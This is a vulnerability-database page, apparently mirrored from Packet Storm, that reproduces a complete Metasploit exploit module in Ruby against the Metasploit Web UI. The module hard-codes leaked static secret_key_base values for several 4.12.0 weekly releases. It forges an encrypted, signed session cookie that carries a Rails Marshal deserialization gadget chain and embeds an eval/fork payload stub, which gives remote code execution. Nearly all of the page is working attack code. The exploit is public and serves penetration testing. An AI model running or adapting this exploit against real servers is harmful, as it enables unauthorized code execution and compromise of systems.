Lucene search
K

Metasploit Web UI Static secret_key_base Value

🗓️ 24 Sep 2016 00:00:00Reported by joernchenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Metasploit Web UI Static secret_key_base Value module exploits the Web UI for Metasploit Community, Express and Pro where a certain set of Weekly Releases introduced a static secret_key_base value, allowing for deserialization of a crafted Ruby Object, achieving code execution

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#Helper Classes copy/paste from Rails4  
class MessageVerifier  
  
class InvalidSignature < StandardError; end  
  
def initialize(secret, options = {})  
@secret = secret  
@digest = options[:digest] || 'SHA1'  
@serializer = options[:serializer] || Marshal  
end  
  
def generate(value)  
data = ::Base64.strict_encode64(@serializer.dump(value))  
"#{data}--#{generate_digest(data)}"  
end  
  
def generate_digest(data)  
require 'openssl' unless defined?(OpenSSL)  
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)  
end  
  
end  
  
class MessageEncryptor  
  
module NullSerializer #:nodoc:  
  
def self.load(value)  
value  
end  
  
def self.dump(value)  
value  
end  
  
end  
  
class InvalidMessage < StandardError; end  
  
OpenSSLCipherError = OpenSSL::Cipher::CipherError  
  
def initialize(secret, *signature_key_or_options)  
options = signature_key_or_options.extract_options!  
sign_secret = signature_key_or_options.first  
@secret = secret  
@sign_secret = sign_secret  
@cipher = options[:cipher] || 'aes-256-cbc'  
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)  
# @serializer = options[:serializer] || Marshal  
end  
  
def encrypt_and_sign(value)  
@verifier.generate(_encrypt(value))  
end  
  
def _encrypt(value)  
cipher = new_cipher  
cipher.encrypt  
cipher.key = @secret  
# Rely on OpenSSL for the initialization vector  
iv = cipher.random_iv  
#encrypted_data = cipher.update(@serializer.dump(value))  
encrypted_data = cipher.update(value)  
encrypted_data << cipher.final  
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")  
end  
  
def new_cipher  
OpenSSL::Cipher::Cipher.new(@cipher)  
end  
  
end  
  
class KeyGenerator  
  
def initialize(secret, options = {})  
@secret = secret  
@iterations = options[:iterations] || 2**16  
end  
  
def generate_key(salt, key_size=64)  
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)  
end  
  
end  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Metasploit Web UI Static secret_key_base Value',  
'Description' => %q{  
This module exploits the Web UI for Metasploit Community, Express and  
Pro where one of a certain set of Weekly Releases have been applied.  
These Weekly Releases introduced a static secret_key_base value.  
Knowledge of the static secret_key_base value allows for  
deserialization of a crafted Ruby Object, achieving code execution.  
  
This module is based on  
exploits/multi/http/rails_secret_deserialization  
},  
'Author' =>  
[  
'Justin Steven', # @justinsteven  
'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OVE', '20160904-0002'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],  
['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']  
],  
'DisclosureDate' => 'Sep 15 2016',  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DefaultTarget' => 0,  
'DefaultOptions' =>  
{  
'SSL' => true  
}  
))  
  
register_options(  
[  
Opt::RPORT(3790),  
OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),  
], self.class)  
end  
  
  
#  
# This stub ensures that the payload runs outside of the Rails process  
# Otherwise, the session can be killed on timeout  
#  
def detached_payload_stub(code)  
%Q^  
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first  
if RUBY_PLATFORM =~ /mswin|mingw|win32/  
inp = IO.popen("ruby", "wb") rescue nil  
if inp  
inp.write(code)  
inp.close  
end  
else  
Kernel.fork do  
eval(code)  
end  
end  
{}  
^.strip.split(/\n/).map{|line| line.strip}.join("\n")  
end  
  
def check_secret(data, digest, secret)  
data = Rex::Text.uri_decode(data)  
keygen = KeyGenerator.new(secret,{:iterations => 1000})  
sigkey = keygen.generate_key('signed encrypted cookie')  
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data)  
end  
  
def get_secret(data, digest)  
secrets = [  
['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'],  
['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'],  
['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'],  
['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'],  
['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'],  
['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'],  
['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c']  
]  
for secret in secrets  
return secret if check_secret(data, digest, secret[1])  
end  
[nil, nil]  
end  
  
def build_signed_cookie(secret)  
keygen = KeyGenerator.new(secret,{:iterations => 1000})  
enckey = keygen.generate_key('encrypted cookie')  
sigkey = keygen.generate_key('signed encrypted cookie')  
crypter = MessageEncryptor.new(enckey, sigkey)  
  
# Embed the payload within detached stub  
code =  
"eval('" +  
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +  
"'.unpack('m0').first)"  
  
# Embed code within Rails 4 popchain  
cookie = "\x04\b" +  
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +  
":\x0E@instanceo" +  
":\bERB\x07" +  
":\t@src"+ Marshal.dump(code)[2..-1] +  
":\x0c@lineno"+ "i\x00" +  
":\f@method:\vresult:" +  
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"  
  
crypter.encrypt_and_sign(cookie)  
end  
  
def check  
cookie_name = '_ui_session'  
  
vprint_status("Checking for cookie #{cookie_name}")  
res = send_request_cgi({  
'uri' => datastore['TARGETURI'] || "/",  
'method' => 'GET',  
}, 25)  
  
unless res  
return Exploit::CheckCode::Unknown # Target didn't respond  
end  
  
if res.get_cookies.empty?  
return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.  
end  
  
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)  
  
unless match  
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.  
end  
  
if match[1] == cookie_name  
vprint_status("Found cookie")  
else  
vprint_status("Adjusting cookie name to #{match[1]}")  
cookie_name = match[1]  
end  
  
vprint_status("Searching for proper secret")  
  
(version, secret) = get_secret(match[2], match[3])  
  
if secret  
vprint_status("Found secret, detected version #{version}")  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
#  
# Send the actual request  
#  
def exploit  
cookie_name = '_ui_session'  
  
print_status("Checking for cookie #{cookie_name}")  
  
res = send_request_cgi({  
'uri' => datastore['TARGETURI'] || "/",  
'method' => 'GET',  
}, 25)  
  
unless res  
fail_with(Failure::Unreachable, "Target didn't respond")  
end  
  
if res.get_cookies.empty?  
fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")  
end  
  
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)  
  
unless match  
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")  
end  
  
if match[1] == cookie_name  
vprint_status("Found cookie")  
else  
print_status("Adjusting cookie name to #{match[1]}")  
cookie_name = match[1]  
end  
  
print_status("Searching for proper secret")  
  
(version, secret) = get_secret(match[2], match[3])  
  
unless secret  
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")  
end  
  
print_status("Found secret, detected version #{version}")  
  
cookie = build_signed_cookie(secret)  
  
print_status "Sending cookie #{cookie_name}"  
res = send_request_cgi({  
'uri' => datastore['TARGETURI'] || "/",  
'method' => 'GET',  
'headers' => {'Cookie' => cookie_name+"="+ cookie},  
}, 25)  
  
handler  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation